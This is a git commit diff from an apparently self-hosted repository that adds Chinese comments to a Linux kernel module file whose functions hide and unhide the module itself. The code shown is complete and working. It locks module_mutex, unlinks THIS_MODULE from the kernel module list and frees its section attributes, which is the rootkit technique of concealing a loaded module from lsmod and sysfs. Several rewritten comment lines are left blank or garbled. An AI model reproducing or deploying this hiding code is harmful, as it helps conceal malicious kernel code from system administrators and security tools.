代码注释

main^2
shenzexi 2 months ago
parent 6b0c326bbb
commit 53d0f29de9

@ -2,77 +2,93 @@
#include <linux/mutex.h> // 包含互斥锁的头文件
#include <linux/slab.h> // 包含内存分配的头文件
#include "module.h" // 包含自定义模块的
#include "module.h" // 包含自定义模块的头文件
/**
* @file module.c
* @brief This file contains functions to hide and show a kernel module.
* @brief
*
* The functions in this file allow for hiding and showing a kernel module
* by manipulating the module list and its attributes.
*
*/
/**
* @brief Flag indicating whether the module is hidden (1) or visible (0).
* @brief 10
*/
int hide_m = 0;
/**
* @brief Pointer to the previous module list entry.
* @brief
*/
static struct list_head *mod_list;
/**
* @brief Hide the kernel module.
* @brief
*
* This function removes the module from the module list and frees its section
* attributes, effectively hiding it from the system.
* 使
*/
void hide(void);
/**
* @brief Show the kernel module.
* @brief
*
* This function adds the module back to the module list, making it visible
* to the system again.
* 使
*/
void show(void);
/**
* @brief Toggle the visibility of the kernel module.
* @brief
*
* This function hides the module if it is currently visible, and shows it
* if it is currently hidden.
*
*/
void hide_module(void);
void hide(void)
{
while (!mutex_trylock(&module_mutex))
cpu_relax();
mod_list = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
mutex_unlock(&module_mutex);
hide_m = 1;
// 尝试获取模块互斥锁如果失败则让CPU放松
while (!mutex_trylock(&module_mutex))
cpu_relax();
// 保存当前模块列表的前一个条目
mod_list = THIS_MODULE->list.prev;
// 从模块列表中删除当前模块
list_del(&THIS_MODULE->list);
// 释放模块的段属性
kfree(THIS_MODULE->sect_attrs);
// 将模块的段属性设置为NULL
THIS_MODULE->sect_attrs = NULL;
// 释放模块互斥锁
mutex_unlock(&module_mutex);
// 设置模块隐藏标志
hide_m = 1;
}
void show(void)
{
while (!mutex_trylock(&module_mutex))
cpu_relax();
list_add(&THIS_MODULE->list, mod_list);
mutex_unlock(&module_mutex);
hide_m = 0;
// 尝试获取模块互斥锁如果失败则让CPU放松
while (!mutex_trylock(&module_mutex))
cpu_relax();
// 将模块重新添加到模块列表中
list_add(&THIS_MODULE->list, mod_list);
// 释放模块互斥锁
mutex_unlock(&module_mutex);
// 设置模块可见标志
hide_m = 0;
}
void hide_module(void)
{
// 如果模块当前可见,则隐藏模块
if (hide_m == 0)
hide();
// 如果模块当前隐藏,则显示模块
else if (hide_m == 1)
show();
}
}
Loading…
Cancel
Save